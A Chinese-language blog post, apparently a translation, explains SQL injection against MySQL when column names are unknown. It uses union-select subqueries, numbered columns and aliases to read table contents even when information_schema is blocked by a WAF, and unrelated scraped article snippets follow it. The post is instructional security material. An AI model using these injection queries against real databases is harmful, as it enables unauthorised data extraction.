前言
最近感覺腦子空空,全在為了刷洞去挖洞,還是回歸技術的本身讓自己舒服些。好了,下面話不多說了,來一起看看詳細的介紹吧
前提以下情況適用於 mysql < 5版本,或者在 mysql >= 5 的版本[存在information_schema庫]lvafxil,且已獲取到庫名和表名
① 當lvafxil只能獲取到表名,獲取不到列名或者只能獲取到無有效內容的列名情況【例如 id】
② 當希望通過information_schema庫中的表去獲取其他表的結構,即表名、列名等,但是這個庫被waf過濾掉的情況
其實個人感覺這個方法還是對 5 版本以下的lvafxil實用性比較強一些,因為對我來說,一般遇到waf就放棄了(菜的真實23333)
解決正常的查詢:
以下是正常查詢 test 庫中的 user 表內容
select * from user;
union查詢:
select 1,2,3,4 union select * from user;
數字對應列查詢:
可以使用數字來對應列來進行查詢,如 2 對應了表裡面的 name 列
select `2` from (select 1,2,3,4 union select * from user)a;
別名代替查詢:
當反引號 ` 不能使用的時候,可以使用別名來代替,如設定 2 的別名為 b
select b from (select 1,2 as b,3,4 union select * from user)a;
多列合併查詢:
同上:這裡反引號不能用的話,一樣可以使用別名代替
select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;
僅程式設計客棧作翻譯以及思路整理
原文鏈結:
總結本文標題: mysql在不知道列名情況下的注入詳解
本文位址:
不知道前驅的情況下刪除某個節點 p
不知道前驅的情況下刪除某個節點 p 鍊錶的後繼資料複製到p的資料中去 然後p的後繼指向p.next.next public static boolean deletelnode lnode p 測試 public static void main string args system.out.pri...
c 在不知道行列數的情況下輸入矩陣元素
之前做一些筆試題碰到矩陣元素輸入不知道行列數的情況,沒法事先設定矩陣的大小及簡單使用for迴圈巢狀輸入,這邊可以使用c 中的getline 語句,按行讀入,然後根據空格分割元素。getline cin,str,遇到 停止讀入,預設為 n 我們首先將每行以string的格式讀入,然後以空格為標誌將分隔...
MySQL在知道密碼的情況下修改密碼
1.首先cmd開啟終端然後cd到你mysql的bin目錄下 c cd.c cd.兩次cd是退出c c cd d 安裝mysql的盤,我這裡是d盤 回車 當然如果你在外面配置了 環境變數 也就不要這麼麻煩了 d cd 你mysql的bin目錄 2.然後登入mysql 3.登入成功後下一步就是更改密碼 ...